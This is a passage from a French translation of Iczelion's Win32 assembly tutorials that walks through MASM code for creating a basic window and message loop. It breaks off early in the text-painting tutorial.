mov wc.cbWndExtra,NULL
push hInstance
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc ; register our window class
invoke CreateWindowEx,NULL,\
ADDR ClassName,\
ADDR AppName,\
WS_OVERLAPPEDWINDOW,\
CW_USEDEFAULT,\
CW_USEDEFAULT,\
CW_USEDEFAULT,\
CW_USEDEFAULT,\
NULL,\
NULL,\
hInst,\
NULL
mov hwnd,eax
invoke ShowWindow, hwnd,CmdShow ; Affiche notre fenêtre sur le bureau
invoke UpdateWindow, hwnd ; Régénérez le client area

.WHILE TRUE ; Création d'une boucle
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam ; Retoune le code de sortie dans eax
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_DESTROY ; si l'utilisateur ferme notre fenêtre...alors
invoke PostQuitMessage,NULL ; on quitte notre application
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam ; Default message processing
ret
.ENDIF
xor eax,eax
ret
WndProc endp

end start

Analyse:

Vous pouvez être déconcertés par le fait qu'un programme ouvrant une simple fenêtre exige tant de codes. Mais la plupart de ces codes sont juste *une ossature commune pour tous les prog*. Ces codes vous pouvez les copier d'un fichier de code source à un autre. Ou si vous préférez, vous pourriez assembler quelques-uns de ces codes dans une bibliothèque pour être employés comme une sorte d''introduction' dans votre programme. Ensuite vous pourrez vous contenter d'écrire les lignes de codes dans la fonction WinMain. Où 'WinMain' est en fait un peu comme la procédure principale dans laquelle vous écrirez votre programme. Sachez que c'est ce que font les compilateurs C. Ils vous laissent écrire uniquement les codes de WinMain (ou dans WinMain) sans s'inquiéter du reste. Le seul inconvénient c'est que vous devez avoir une fonction nommée WinMain sinon les compilateurs C ne seront pas capables de combiner vos codes avec ceux de votre INTRODUCTION. Vous n'aurez pas de telles restrictions avec le langage Assembleur. Vous pouvez employer d'autres noms de fonction que 'WinMain' ou bien même aucune fonction du tout
Soyez prévenus. Ça va être un long tutorial. On va analyser ce programme à mort!.
    .386
    .model flat,stdcall
    option casemap:none

    WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

    include \masm32\include\windows.inc
    include \masm32\include\user32.inc
    include \masm32\include\kernel32.inc
    includelib \masm32\lib\user32.lib
    includelib \masm32\lib\kernel32.lib

Les trois premières lignes sont "NECESSAIRES". .386 dit à MASM que nous avons l'intention d'employer le jeu d'instruction de processeur 80386 dans ce programme. .model flat,stdcall dit à MASM que notre programme emploie la mémoire plate adressant le modèle. C'est pourquoi nous employions le paramètre stdcall prenant par défaut cette convention dans notre programme.
Ensuite c'est au tour du prototype de fonction pour WinMain. Puisque nous appellerons WinMain plus tard, nous devons définir son prototype de fonction d'abord, pour que nous puissions l'invoquer par la suite.
Nous devons inclure windows.inc au début du code source. Il contient les structures importantes et les constants qui sont employés par notre programme. Le fichier INCLUDE, windows.inc, est simplement un fichier texte. Vous pouvez l'ouvrir avec n'importe quel éditeur de texte. Notez s'il vous plaît que windows.inc ne contient pas toutes les structures et constants (encore). Pour ce qui est du HUTCH (le groupe de fichiers *.inc) j'y travaille.
Notre programme appelle les fonctions API qui résident dans user32.dll (CreateWindowEx, RegisterWindowClassEx, par exemple) et kernel32.dll (ExitProcess), donc nous devons lier notre programme avec ces deux bibliothèques d'importation. La question suivante : comment puis-je savoir qui importe la bibliothèque qui doit être lié avec mon programme ? La réponse : Vous devez savoir où résident les fonctions API appelées par votre programme. Par exemple, si vous appelez une fonction API dans gdi32.dll, vous devez vous lier avec gdi32.lib.
C'est l'approche spécifique de MASM. Pour TASM, la bibliothèque d'importation qui est liée à votre programme est uniquement : import32.lib. C'est beaucoup , beaucoup plus simple.
    .DATA
    ClassName db "SimpleWinClass",0
    AppName db "Our First Window",0

    .DATA?
    hInstance HINSTANCE ?
    CommandLine LPSTR ?

Ci-dessus on trouve les 2 sections pour les "DATA".
Dans .DATA, on déclare deux données terminées chacune par zéro : ClassName est le nom de notre classe de fenêtre (de notre Window Class).
'AppName' est le nom de notre fenêtre. Notez que les deux variables sont initialisées.
Dans .DATA?, Deux variables sont déclarées : HINSTANCE (l'Instance Handle de notre programme) et CommandLine (ligne de commande de notre programme). Ces types de données sont peu familières, HINSTANCE et LPSTR, sont vraiment de nouveaux noms pour DWORD. Vous pouvez les voir dans windows.inc. Notez que toutes les variables se trouvant dans la section .DATA ? ne sont pas initialisée, c'est-à-dire qu'elles ne doivent pas contenir de valeur spécifique en démarrage, mais nous réservons de l'espace pour notre future utilisation.
    .CODE
    start:
    invoke GetModuleHandle, NULL
    mov hInstance,eax
    invoke GetCommandLine
    mov CommandLine,eax
    invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
    invoke ExitProcess,eax
    .....
    end start
.CODE contient toutes vos instructions ASM. Vos codes doivent résider entre le label " Start : " et le label " End Start ". Le nom du label est arbitraire. Vous pouvez le nommer comme ça vous chante tant qu'il est unique et ne viole pas la convention de nom de MASM. Par exemple vous ne pouvez pas prendre le mot 'Mov' comme nom de label.
Notre première instruction est l'appel GetModuleHandle pour aller chercher l'Instance handle de notre programme. Sous Win32, l' Instance Handle et Module Handle sont les mêmes. Vous pouvez vous représenter l'Instance Handle comme le n° d'identification de votre programme. Il est employé comme paramètre par plusieurs des fonctions API que notre programme doit appeler, donc c'est généralement une bonne IDée de le déclarer dès le début de notre programme.
Notez : En réalité sous win32, l'Instance Handle est l'adresse linéaire de votre programme dans la mémoire.
Après avoir fait appel à une fonction de Win32 (une API), la valeur de retour de cette fonction, est placée dans eax. Toutes les autres valeurs sont renvoyées par des variables que vous avez vous-même défini avant le Call qui appel cette fonction.
Une fonction Win32 (ou une procédure) que vous appelez(Call) souvent préservera les Registres de segment ebx, edi, esi et le Registre ebp. Au contraire, ecx et edx sont considérés comme des Registres de travail et sont toujours indéfinis après la sortie d'une fonction de Win32 (sortie d'une procédure).
Notez : n'espérez pas que les valeurs d'eax, ecx, edx soient préservés après un appel de fonction API.
La ligne qui suit un appel (un call) à une fonction d'API, attend en retour une valeur dans eax. Dès que vous appelez une fonction API de Windows, vous devez utiliser la règle suivante : préservez puis rétablissez les valeurs des Registres de segment ebx, edi, esi et ebp après le retour de la fonction sinon votre programme plantera peu de temps après, ceci est valable pour vos procédures Windows et pour les fonctions de rappel de service Windows.
L'appel 'GetCommandLine'est inutile si votre programme ne traite pas de ligne de commande. Dans cet exemple, je vous montre comment l'appeler dans le cas où vous en auriez besoin dans votre programme.
Vient ensuite l'appel à WinMain. Ici il reçoit quatre paramètres : l'Instance Handle de notre programme, l'Instance Handle du précédent Instance(objet) de notre programme, la Command Line et l'état de la fenêtre à sa première apparition. Sous Win32, il n'y a AUCUN Instance précédent(premier). Chaque programme est seul dans son espace d'adresse, donc la valeur d'hPrevInst est toujours 0. C'est un des restes de Win16 quand tous les programmes étaient encore exécutés dans un même espace d'adresses pour savoir si c'était le premier Instance ou non. Donc sous win16, si hPrevInst est NUL, alors c'est que c'est le premier Instance.
Notez : Vous n'êtes pas obligé de déclarer le nom de fonction en tant que : 'WinMain'. En fait, vous avez une totale liberté à cet égard. Et même, vous pouvez ne pas employer de fonction WinMain-équivalent du tout. Le but est de placer votre code (votre véritable programme) à l'intérieur de la fonction WinMain à côté de GetCommandLine et votre programme sera toujours capable de fonctionner parfaitement.
A la sortie de WinMain, eax est rempli du code de sortie. Nous passons ce code de sortie comme paramètre à ExitProcess qui sert à terminer notre programme.

WinMain proc Inst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD

La susdite ligne est la déclaration de la fonction WinMain. Notez l'ensemble des paramètres qui suivent la directive PROC. Ce sont les paramètres que WinMain reçoit de la fonction qui l'appelle. Vous pouvez utiliser les noms de ces paramètres au lieu de vous servir de la pile pour pousser la valeurs de vos paramètres.

LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND

La directive LOCAL alloue de la mémoire sur la pile pour des variables locales employées par la fonction. La totalité des directives LOCALES doivent être placées juste au-dessous de la directive PROC. La directive LOCAL est immédiatement suivie par " le nom de la variable locale " ; " le type de variable ". Et donc 'LOCAL wc:WNDCLASSEX' dit à MASM de réserver de la mémoire sur la pile. Nous pourrons ensuite nous référer à wc dans notre code sans aucune difficulté engendrée par la manipulation de la pile. C'est vraiment une aubaine, je pense. le revers est le fait que les variables locales ne peuvent pas être employées à l'extérieur de la fonction, elles sont créés et seront automatiquement détruites quand la fonction retourne à l'appel. Un autre inconvénient est que vous ne pouvez pas initialiser des variables locales automatiquement parce qu'elles sont uniquement allouées dans la mémoire de la pile au moment seulement où la fonction est entrée. Vous devez les assigner manuellement avec les valeurs désirées après les directives 'LOCAL'.

mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInstance
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc

Les lignes ci-dessus sont vraiment simples par leur concept. Il s'agit juste de plusieurs lignes d'instruction regroupées. Le concept qui se cache derrière toutes ces lignes c'est d'initialiser la Windows class. Une 'Windows Class' n'est rien de plus que la première ébauche d'une fenêtre. On définit donc plusieurs caractéristiques importantes d'une fenêtre comme son icône, son curseur, la fonction qui la contrôle, sa couleur etc. Vous définisez la fenêtre grâce à sa 'Windows Class'. C'est en quelque sorte le but de ce concept. Si vous voulez créer plusieurs fenêtres avec les mêmes caractéristiques, il serait temps de penser à stocker toutes ces caractéristiques dans un unique endroit (donc dans une procédure par exemple) et de s'y référer quand c'est nécessaire. Cet arrangement économisera des tonnes de la mémoire en évitant la duplication d'informations. Windows doit être très efficaces dans l'utilisation des ressources mémoires, qui restent encore rares.
Faisons le point : Dès que vous définissez votre propre fenêtre, vous devez définir ses caractéristiques grâce à l'instruction WNDCLASS ou WNDCLASSEX et ensuite appeler RegisterClass ou RegisterClassEx avant que vous ne soyez capables de créer votre fenêtre. Vous devrez donner une 'Windows Class' pour chaque type de fenêtre que vous voulez créer.
Windows possède plusieurs 'Windows Class' déjà prédéterminées, comme les boutons et la boîte d'édition (pour entrer un texte). Pour ces fenêtres (ou ces commandes), vous n'avez pas besoin de déclarer une 'Windows Class', appelez juste CreateWindowEx avec le nom de classe prédéterminée.
L'élément le plus important de WNDCLASSEX est lpfnWndProc. Lpfn attend un 'Pointeur Long' pour fonctionner. Sous Win32, il n'y a pas de Pointeur(proche) ou de Pointeur(lointain), mais un simple Pointeur grâce au nouveau modèle de mémoire Flat(PLAT). Mais c'est encore un reste des vieux jours de Win16. Chaque 'Windows Class' doit être associée à une procédure appelée par Windows. La procédure qui sert à créer vos fenêtres sera responsable du traitement de chaque message associée la à Windows Class. Les fenêtres enverront des messages vers la procédure qui les gère pour lui notifier quels événements importants sont utilisés par ces fenêtres, comme l'utilisation du clavier ou de la souris. Il ne reste plus qu'à la procédure (qui s'occupe de la gestion des fenêtres) à répondre intelligemment à chaque message qu'il reçoit envoyé par une fenêtre. La plupart du temps vous écrirez des enchaînements d'événements dans cette procédure.
Ci-dessous, Je vous détaille la construction de la fonction WNDCLASSEX:

WNDCLASSEX STRUCT DWORD
cbSize DWORD ?
style DWORD ?
lpfnWndProc DWORD ?
cbClsExtra DWORD ?
cbWndExtra DWORD ?
hInstance DWORD ?
hIcon DWORD ?
hCursor DWORD ?
hbrBackground DWORD ?
lpszMenuName DWORD ?
lpszClassName DWORD ?
hIconSm DWORD ?
WNDCLASSEX ENDS

cbSize: La taille de la structure WNDCLASSEX en octets. Nous pouvons employer l'opérateur SIZEOF pour obtenir (initialiser) cette valeur.
style: Le style (ou le type) de fenêtre créée pour cette 'Class'. Vous pouvez combiner plusieurs types ensembles en employant l'opérateur "or".
lpfnWndProc: L'adresse de la procédure responsable de la gestion des fenêtres créées dans cette 'Class'.
cbClsExtra: Indique le nombre d'octets supplémentaires à allouer en fonction de la structure(ses éléments) de la Windows Class choisie. Le système d'exploitation initialise les octets à zéro. Vous pouvez stocker des données spécifiques à la Windows Class ici.
cbWndExtra: Indique le nombre d'octets supplémentaires à allouer en fonction de la 'Windows Instance'. Le système d'exploitation initialise les octets à zéro.
hInstance: l'Instance Handle de ce module (de ce WNDCLASSEX).
hIcon: Handle de l'icône. Obtenez-le après l'appel de 'LoadIcon' (ou en retour de l'appel de 'LoadIcon').
hCursor: Handle du curseur. Obtenez-le près l'appel de 'LoadCursor'.
hbrBackground: Couleur du fond de toutes les fenêtres créées dans cette 'Class'.
lpszMenuName: L'Handle du menu des fenêtres créées par cette 'Class'. C'est une valeur par défaut.
lpszClassName: Le nom de cette 'Class'.
hIconSm: L'Handle d'une petite icône associée à cette 'Class' de fenêtres. Si cette valeur est NULLE, le système recherche dans la 'ressource d'icône' indiquée par le membre hIcon, une icône de la taille appropriée sera employée en tant que petite icône.

invoke CreateWindowEx, NULL,\
ADDR ClassName,\
ADDR AppName,\
WS_OVERLAPPEDWINDOW,\
CW_USEDEFAULT,\
CW_USEDEFAULT,\
CW_USEDEFAULT,\
CW_USEDEFAULT,\
NULL,\
NULL,\
hInst,\
NULL

Après l'enregistrement de la Window Class, nous pouvons appeler CreateWindowEx pour créer notre fenêtre basée sur la Window Class ainsi définie. Remarquez qu'il y a 12 paramètres à cette fonction, beuurr ! ! !

CreateWindowExA proto dwExStyle:DWORD,\
lpClassName:DWORD,\
lpWindowName:DWORD,\
dwStyle:DWORD,\
X:DWORD,\
Y:DWORD,\
nWidth:DWORD,\
nHeight:DWORD,\
hWndParent:DWORD ,\
hMenu:DWORD,\
hInstance:DWORD,\
lpParam:DWORD

On va voir la description détaillée de chaque paramètre :
dwExStyle: Styles de fenêtre supplémentaires. C'est le nouveau paramètre qui est ajouté à la vieille fonction 'CreateWindow'. Vous pouvez mettre des nouveaux styles de fenêtre pour Windows 95 & NT ici. En temps normal, vous pouvez spécifier votre style de fenêtre ordinaire dans dwStyle, mais si vous voulez certains styles spéciaux pour une fenêtre 'tip top', vous devez les spécifier ici. Vous devez employer un NULL(un 0) si vous ne voulez pas de styles de fenêtre supplémentaires.
lpClassName: (obligatoire).L'adresse de la suite de caractères ASCII contenant le nom de la Window Class que vous voulez employer en tant que gabarit pour cette fenêtre. La Class peut être votre propre Class que vous venez de créer ou bien une Window Class prédéterminée. Comme exposé ci-dessus, chaque fenêtre que vous avez créée doit être basée sur une Window Class. (Normal ! , puisque la Window Class sert justement à définir les propriétés de la fenêtre à créer)
lpWindowName: Adresse de la suite de caractères ASCII contenant le nom de la fenêtre. Sera en fait la titre de la fenêtre (en haut à gauche). Si ce paramètre est NUL, la barre de titre de la fenêtre sera vide.
dwStyle: C'est le style de la fenêtre. Vous pouvez spécifier ici l'apparition de la fenêtre. Mettre une valeur NULLE pour ce paramètre dwSTYLE est possible mais la fenêtre n'aurait aucune boîte de menu, n'aurait ni les boutons de réduction-agrandissement ni aucun autre bouton. La fenêtre n'aurait pas beaucoup d'intérêt. Vous devrez même appuyer sur Alt+F4 pour la refermer. Le style de fenêtre le plus commun est le paramètre 'WS_OVERLAPPEDWINDOW' (et non pas le paramètre NUL). Ainsi vous pouvez combiner plusieurs styles de fenêtre grâce à l'opérateur "ou" pour faire apparaître la fenêtre que vous désirez. Le style WS_OVERLAPPEDWINDOW est en réalité une combinaison de styles des fenêtres les plus communes.
X,Y: C'est la coordonnée du coin supérieur gauche de la fenêtre. Normalement on prend le paramètre CW_USEDEFAULT comme valeur, comme ça Windows décidera pour vous où placer la fenêtre sur le bureau.
nWidth, nHeight: Ce sont les largeur et hauteur de la fenêtre en pixels. Vous pouvez aussi employer CW_USEDEFAULT pour laisser Windows choisir la largeur appropriée et la hauteur à votre place.
hWndParent: C'est l'Handle de la fenêtre parente de votre fenêtre (si celle-ci existe). Ce paramètre indique à Windows si cette fenêtre est un enfant (Window Child) d'une autre fenêtre et, si elle l'est, qui est la fenêtre parente. Notez que ce n'est pas la même relation Parent-Enfant que les 'multiple document interface' ou (MDI). Les 'Window Child' n'ont pas forcément les mêmes caractéristiques que leur 'Window Parent'. Ces caractéristiques sont uniquement spécifiques à l'utilisation interne de chaque fenêtre. Si la fenêtre parente est détruite, toutes ses fenêtres enfant seront détruites automatiquement. C'est vraiment très simple. Dans notre exemple, il y a seulement une fenêtre, donc ce paramètre reste NULL.
hMenu: C'est l'Handle du menu de la fenêtre. Il est NULLsi la Class Menu est utilisée. Revenez en arrière à un des membres de l'instruction WNDCLASSEX, soit 'lpszMenuName'. lpszMenuName indique le menu par *default* pour la 'Window Class'. Chaque fenêtre de cette Window Class aura le même menu par défaut. À moins que vous ne spécifiiez un menu *overriding* pour une fenêtre spécifique via son paramètre hMenu. hMenu est en réalité un paramètre à double usage. Si la fenêtre que vous souhaitez créer utilise un 'Type de Fenêtre' (Style) prédéterminé (c'est-à-dire un contrôle), un tel contrôle ne peut pas posséder de menu. hMenu est employé comme ID de ce contrôle au lieu de cela. Windows peut décider si hMenu est vraiment un Handle de menu ou un contrôle ID en regardant le paramètre lpClassName. Si c'est le nom d'une Window Class prédéterminée, hMenu est un contrôle ID. Si ce n'est pas, ce sera alors l' Handle du menu de votre fenêtre.
hInstance: l'Instance Handle pour le module (la partie) du programme créant la fenêtre.
lpParam: Le pointeur facultatif pour des données a passer à la fenêtre. Il est employé par la fenêtre MDI pour passer les données CLIENTCREATESTRUCT. Normalement, cette valeur est mise au NUL, signifiant que l'on ne passe aucunes données via CreateWindow (). La fenêtre peut prendre la valeur de ce paramètre après l'appel à la fonction GetWindowLong.

mov hwnd,eax
invoke ShowWindow, hwnd,CmdShow
invoke UpdateWindow, hwnd

En retour couronné de succès de CreateWindowEx, l'Handle de la fenêtre est placée dans eax. Nous devons garder cette valeur pour une utilisation future. La fenêtre que nous venons de créer n'est pas automatiquement affichée. Vous devez appeler 'ShowWindow' avec l'Handle de fenêtre et la *résolution* désirée de la fenêtre pour la faire apparaître à l'écran. Ensuite vous pourrez appeler 'UpdateWindow' pour ordonner à votre fenêtre de repeindre son secteur de client (d'afficher son contenu). Cette fonction est utile à chaque fois que vous voulez mettre à jour le contenu du secteur de client. Vous pouvez omettre cet appel quoique.

.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW

Cette fois-ci, notre fenêtre est sur l'écran. Mais elle ne peut pas recevoir d'informations extérieur (comme une saisie de texte ou bien la détection de la pression d'un bouton). Donc nous devons l'informer de ce qui se passe. Nous faisons ça avec une boucle de message. Il y a seulement une boucle de message pour chaque module. Cette boucle de message vérifie continuellement les messages de Windows grâce à un 'Call GetMessage'. GetMessage passe une donnée à une structure de MESSAGE de Windows. Cette structure de MESSAGE sera remplie de l'information du message que Windows veut envoyer à une fenêtre dans le module. La fonction GetMessage ne retournera pas (ne reviendra pas à votre programme mais au contraire restera dans Kernel ou User) tant qu'un message (ex : appui sur un bouton) ne sera pas transmis pour une fenêtre dans le module. Pendant ce temps-là, Windows peut donner le contrôle à d'autres programmes. C'est en quelque sorte le fonctionnement en Multigestion de la plate-forme Win16. GetMessage renverra une erreur si le Message WM_QUIT est reçu dans la boucle de message, et ainsi nous termineront la boucle et irons vers la sortie du programme.
TranslateMessage est une fonction utile qui saisie les entrées de clavier (à la volée) et produit un nouveau Message WM_CHAR qui est placé sur la file d'attente des messages. Le message avec WM_CHAR contient la valeur ASCII pour la touche pressée, c'est bien plus facile de procéder ainsi. Vous pouvez omettre cet appel si votre programme ne traite pas de frappes.
'DispatchMessage' redirige les données d'un message( ex : envoi : on vient d'appuyer sur le bouton) à la procédure responsable de la fenêtre spécifique.

mov eax,msg.wParam
ret
WinMain endp

Si la boucle de message se termine, le code de sortie est stocké dans le membre wParam de la structure de MESSAGE. Vous pouvez stocker ce code de sortie dans eax pour le rendre à Windows. Actuellement, Windows ne se sert pas de la valeur de retour, mais c'est mieux de respecter les règles.

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM

C'est notre procédure Win. Vous ne devez pas la nommer WndProc. Le premier paramètre, hWnd, est l' Handle de la fenêtre pour laquelle le message est destiné. uMsg est le message. Notez qu'uMsg n'est pas une structure de MESSAGE. C'est juste un numéro(nombre). Windows définit des centaines de messages, dont la plupart ne seront pas intéressants pour vos programmes. Windows enverra un message approprié à une fenêtre seulement si quelque chose d'intéressant arrive à cette fenêtre. La procédure qui traite vos fenêtres reçoit le message et y réagit intelligemment. wParam et lParam sont juste des paramètres supplémentaires pour l'utilisation de certains messages. Certains messages envoient des données d'accompagnement en plus du message lui-même. On passe ces données à la procédure de fenêtre au moyen de lParam et wParam.

.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp

Vient ici la partie cruciale. C'est l'endroit où la plupart de l'intelligence de votre programme réside. Les codes qui répondent à chaque message de Windows sont dans la procédure de fenêtre (la procédure qui s'occupe du contrôle de votre fenêtre). Votre code doit vérifier le message de Windows pour voir si c'est un message intéressant. S'il l'est, faites tout ce que vous voulez faire en réponse à ce message et retourner ensuite la valeur zéro dans eax. S'il ne l'est pas, vous DEVEZ appeler l'API 'DefWindowProc', pour lui passer tous les paramètres que vous y avez reçu pour les traiter par défaut .'DefWindowProc' est une fonction API qui traite les messages qui ne sont pas intéressant pour votre programme.
Le seul message que vous pouvez et DEVEZ envoyer vers votre procédure qui traite les messages est WM_DESTROY. Ce message est envoyé à votre procédure de fenêtre pour la refermée. Au moment où votre procédure de fenêtre reçoit ce message, votre fenêtre est déjà enlevée de l'écran. C'est juste un renseignement comme quoi votre fenêtre a bien été détruite, vous devez vous préparer à retourner à Windows. Si vous utilisez cela, vous n'avez d'autres choix que de quitter. Si vous voulez avoir une chance d'arrêter la fermeture de votre fenêtre, vous devez utiliser le message WM_CLOSE. Maintenant revenons à WM_DESTROY, après cette fermeture radicale, vous devez appeler PostQuitMessage qui postera WM_QUIT en retour à votre module(traitement des message). WM_QUIT fera le retour de GetMessage avec la valeur zéro dans eax, qui à son tour, terminera la boucle de message et quittera Windows. Vous pouvez envoyer le message WM_DESTROY à votre propre procédure de fenêtre en appelant la fonction DestroyWindow.

[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 4: Painting with Text

Tutorial 4: Dessiner du texte
(Painting with Text)

Dans ce tutorial, nous apprendrons comment "peindre" le texte dans 'le secteur client' (la zone de travail) d'une fenêtre. Nous verrons aussi tout le contexte autour de cette fonction. Vous pouvez télécharger le code source ici.

Théorie:

Le texte dans Windows est un type d'objet du GUI (NdT : Graphic User Interface). Chaque caractère est composé de plusieurs pixels (les points) qui sont regroupés dans un ordre particulier. C'est pourquoi on peut appeler "painting" au lieu de writting". Normalement, vous peignez le texte dans votre propre secteur client (en réalité, vous pouvez peindre le secteur client extérieur mais c'est une autre histoire). L'affichage du texte sur l'écran sous Windows diffère résolument du DOS. Sous DOS, la dimension de l'écran est 80x25. Mais sous Windows, l'écran est partagé selon plusieurs programmes. Des règles doivent être prises pour éviter que certains programmes s'affichent par dessus l'application d'autres programmes. Windows contrôle ceci en limitant la peinture du secteur de chaque fenêtre à son propre secteur client seulement. La taille du secteur client d'une fenêtre n'est pas aussi rigide. L'utilisateur peut changer sa taille n'importe quand. Donc vous devez déterminer les dimensions de votre propre secteur client.
Avant que vous ne puissiez peindre quelque chose sur le secteur client, vous devez demander la permission à Windows. C'est ça, vous n'avez pas le contrôle absolu de l'écran comme si vous étiez sous DOS. Vous devez demander à Windows la permission de peindre votre propre secteur client. Windows déterminera la taille de votre secteur client, la taille des caractères, les couleurs et les autres GDI attribués et ensuite renvoie à votre programme l'Handle du 'contexte de ce dispositif' (de tout ça). Vous pourrez alors employer le 'contexte de dispositif' comme un passeport à la peinture sur votre 'secteur client'.
C'est quoi le 'contexte de dispositif' ? C'est juste une structure de données conçue à intérieure de Windows (pas accessible pour nous). Un 'contexte de dispositif' est associé à un dispositif particulier, comme une imprimante ou l'exposition vidéo. Pour une exposition vidéo, un contexte de dispositif est d'habitude associé à une fenêtre particulière en exposition.
Quelques-unes des valeurs dans le contexte de dispositif sont des attributs graphiques comme des couleurs, la font etc. Ce sont des valeurs par défaut que vous pouvez changer à volonté. Il est possible pour réduire la charge de travail de spécifier ces attributs dans chaques appels de fonction GDI.
Vous pouvez vous représenter un 'contexte de dispositif' comme un 'environnement par défaut' mis à votre disposition par Windows. Vous pouvez ne pas tenir compte de certaines éléments par défaut puis y revenir plus tard si vous le souhaitez.
Quand un programme a besoin de peindre, il doit obtenir un 'Handle de contexte de dispositif'. Normalement, il y a plusieurs façons de l'obtenir.
    Appelez BeginPaint en réponse au message WM_PAINT.
    Appelez GetDC en réponse à d'autres messages.
    Appelez CreateDC pour créer votre propre contexte de dispositif.
Rappeler vous une chose, après avoir obtenu un 'Handle de contexte de dispositif', vous devez le sortir pendant le traitement d'un simple message. Ne récupérez pas un Handle en réponse à un message, transférez-le en réponse à un autre message.
Windows envoie des messages WM_PAINT à une fenêtre pour lui indiquer que c'est maintenant le temps de repeindre son secteur client. Windows ne sauve pas le contenu de secteur client de la fenêtre, mais au lieu de cela, quand une situation arrive et garantit une nouvelle peinture de secteur client (comme quand une fenêtre a été couverte par une autre et vient la recouvrir), Windows met le message WM_PAINT dans la file d'attente des messages de cette fenêtre. C'est à cette fenêtre de repeindre son propre secteur de client. Vous devez réunir toute l'information qui sert à repeindre votre secteur client dans la section WM_PAINT de votre procédure de fenêtre, ainsi la procédure de fenêtre (la procédure qui gère l'affichage et le comportement de votre fenêtre) pourra repeindre le secteur client quand le message WM_PAINT arrivera.
Un autre concept que vous devez prendre en compte est une petite zone rectangle. Windows définit un rectangle invalide comme le plus petit secteur rectangulaire dans le secteur client qui a besoin d'être repeint (rafraîchi) . Quand Windows détecte un rectangle invalide dans le secteur client d'une fenêtre, il envoie le message WM_PAINT à cette fenêtre. En réponse à ce message WM_PAINT, la fenêtre peut obtenir une structure 'Paintstruct' qui contient, entre autre, les coordonnées du rectangle invalide. Vous appelez 'BeginPaint' en réponse au message WM_PAINT pour valider le rectangle invalide. Si vous ne traitez pas le message WM_PAINT, alors vous devez appeler DefWindowProc ou ValidateRect pour valider le rectangle invalide sinon à plusieurs reprises Windows vous enverra le message WM_PAINT. Laissez tombé ça, c'est trop confus.
Voici ci-dessous les étapes que vous devez exécuter en réponse à un message WM_PAINT :
    Obtenez l' 'handle du contexte de dispositif' avec BeginPaint.
    Repeignez le secteur client (la zone de travail de votre fenêtre).
    Libérez l' 'handle du contexte de dispositif' avec EndPaint.
Notez que vous ne devez pas explicitement valider le rectangle invalide. C'est le Call BeginPaint qui s'en occupe automatiquement. Entre la paire de BeginPaint-Endpaint, vous pouvez appeler n'importe quelles fonctions du GDI pour peindre votre secteur client. Presque tous exigent l' 'handle du contexte de dispositif' en tant que paramètre.

Contenu:

Nous allons écrire un programme qui fait apparaître le texte " Win32 assembly is great and easy!" au le centre du secteur client.
.386
.model flat,stdcall
option casemap:none

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

include \masm32\include\windows.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib

.DATA
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
OurText db "Win32 assembly is great and easy!",0

.DATA?
hInstance HINSTANCE ?
CommandLine LPSTR ?

.CODE
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE, hPrevInst:HINSTANCE, CmdLine:LPSTR, CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
